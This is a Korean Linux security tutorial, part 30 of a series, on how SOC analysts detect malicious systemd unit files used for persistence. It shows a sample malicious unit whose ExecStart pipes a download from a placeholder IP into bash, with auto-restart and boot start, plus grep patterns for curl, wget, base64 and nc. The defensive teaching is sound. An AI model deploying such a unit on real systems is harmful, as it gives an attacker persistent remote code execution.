Linux 시스템 보안 기초 · 30/50편
이 글은
리눅스 시스템 기초·파일 · 권한 · 사용자 관리·서비스 · 프로세스 관리시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다.
29편에서 서비스가 지속성 수단이 됨을 봤습니다. 이번 편은 실제 악성 Unit 파일을 어떤 필드로 식별하는지, 구체적인 탐지 포인트를 정리합니다.
악성 Unit 판별의 5대 포인트:
curl|sh 파이프악성 Unit 예
[Service]
ExecStart=/bin/bash -c 'curl http://203.0.113.10/x | bash' ← 다운로드 실행
Restart=always ← 죽어도 재시작
[Install]
WantedBy=multi-user.target ← 부팅 자동시작
│ systemctl enable → 지속성 완성
공격자는 악성 Unit을 /etc/systemd/system/에 만들거나, 기존 서비스에 drop-in(.d/override.conf)으로 ExecStart를 덧붙입니다. Restart=always를 넣으면 프로세스를 죽여도 되살아나고, WantedBy로 부팅 자동시작을 걸면 재부팅에도 살아남습니다.
탐지의 핵심은 '정상 서비스 목록(기준선)에 없던 것'과 '표준을 벗어난 ExecStart'입니다. 특히 다운로드-실행 파이프, base64 인코딩 명령은 강한 악성 신호입니다.
# 모든 Unit의 ExecStart 한눈에 (의심 패턴 grep)
sudo grep -rE 'ExecStart' /etc/systemd/system /lib/systemd/system 2>/dev/null \
| grep -Ei 'tmp|/dev/shm|curl|wget|base64|nc |bash -c'
# 최근 생성/변경된 Unit 파일
sudo find /etc/systemd/system /lib/systemd/system -name '*.service' -mtime -7 2>/dev/null
# drop-in 오버라이드 존재 여부
sudo find /etc/systemd/system -name '*.conf' -path '*.d*' 2>/dev/null
의심 ExecStart 패턴 검색 형식입니다. (예시 출력 — 악성 서비스 가정)
$ sudo grep -rE 'ExecStart' /etc/systemd/system | grep -Ei 'tmp|curl|base64'
/etc/systemd/system/updater.service:ExecStart=/bin/bash -c 'curl http://203.0.113.10/x|bash'
updater.service라는 그럴듯한 이름 뒤에 다운로드-실행 명령이 숨어 있습니다. 이런 서비스는 즉시 stop+disable+격리하고, ExecStart의 URL/IP를 IOC로 등록합니다.
이름에 속지 말고 항상 정의(ExecStart) 를 확인하는 것이 원칙입니다.
-mtime) 확인Wazuh FIM으로 /etc/systemd/system/과 drop-in 디렉터리를 감시하면 악성 Unit 생성을 실시간 탐지합니다. auditd에 해당 경로 watch를 걸면 '누가 만들었는가(auid)'까지 남습니다. SIEM은 서비스 생성 이벤트를 T1543.002로 태깅하고, ExecStart의 URL/IP/해시를 IOC로 자동 추출합니다.
[ ] ExecStart 의심 패턴 검색
[ ] 최근 변경 Unit 확인
[ ] drop-in 오버라이드 점검
[ ] 의심 서비스 stop/disable/격리
다음 편에서는 31. Cron 기반 지속성 탐지 를 다룹니다. 서비스와 함께 대표적 지속성 수단인 cron을, 지속성 탐지 관점에서 봅니다.
본 실습은 격리된 테스트 VM(Rocky Linux / Ubuntu, VMware) 및 테스트 계정 환경을 기준으로 하며, 운영 서버를 대상으로 하지 않습니다. 실행 결과는 실제 캡처와 예시 출력을 명확히 구분해 표기합니다.